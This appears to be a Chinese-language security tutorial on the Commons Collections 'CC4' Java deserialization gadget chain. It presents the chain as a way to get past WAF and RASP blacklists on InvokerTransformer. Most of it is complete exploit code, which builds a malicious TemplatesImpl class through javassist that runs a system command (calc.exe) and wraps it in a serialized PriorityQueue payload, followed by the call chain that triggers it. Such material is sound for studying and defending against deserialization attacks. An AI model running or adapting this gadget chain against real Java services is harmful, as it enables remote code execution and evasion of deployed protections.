结合 CC2 的 PriorityQueue 入口和 CC3 的 TrAXFilter + InstantiateTransformer 技术,绕过 InvokerTransformer 的限制。
CC2 链核心是 InvokerTransformer。由于这个类太常用于恶意攻击,很多安全防御系统(WAF、RASP)都把它加入了黑名单。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class CC4Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass"); ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass); constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"calc.exe\"); }"); ctClass.addConstructor(constructor);
byte[] bytecodes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes}); setFieldValue(templates, "_name", "EvilTemplates"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} ) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
Transformer fakeTransformer = new ConstantTransformer(1); TransformingComparator comparator = new TransformingComparator(fakeTransformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1); queue.add(2);
setFieldValue(comparator, "transformer", chainedTransformer);
byte[] serializedQueue = serialize(queue); System.out.println("CC4 恶意对象序列化完成...");
unserialize(serializedQueue); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void unserialize(byte[] data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
前面和 CC2 的前半部分一样
这里的 transformer 已经被反射修改为 chainedTransformer

这里会依次执行两个 Transformer


这里的 iParamTypes 是 {Templates.class},iArgs 是 {templates}


后面和 CC3 后半部分一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ois.readObject() <=> ObjectInputStream.readObject() PriorityQueue::readObject() ->PriorityQueue::heapify() ->PriorityQueue::siftDown() ->PriorityQueue::siftDownUsingComparator() ->TransformingComparator::compare() ->ChainedTransformer::transform() ->ConstantTransformer::transform() ->InstantiateTransformer::transform() ->TrAXFilter::<init>() // 调用构造方法 ->TemplatesImpl::newTransformer() ->TemplatesImpl::getTransletInstance() ->TemplatesImpl::defineTransletClasses() // 加载恶意字节码为 Class ->MaliciousClass::<init>() // 实例化恶意类执行命令
|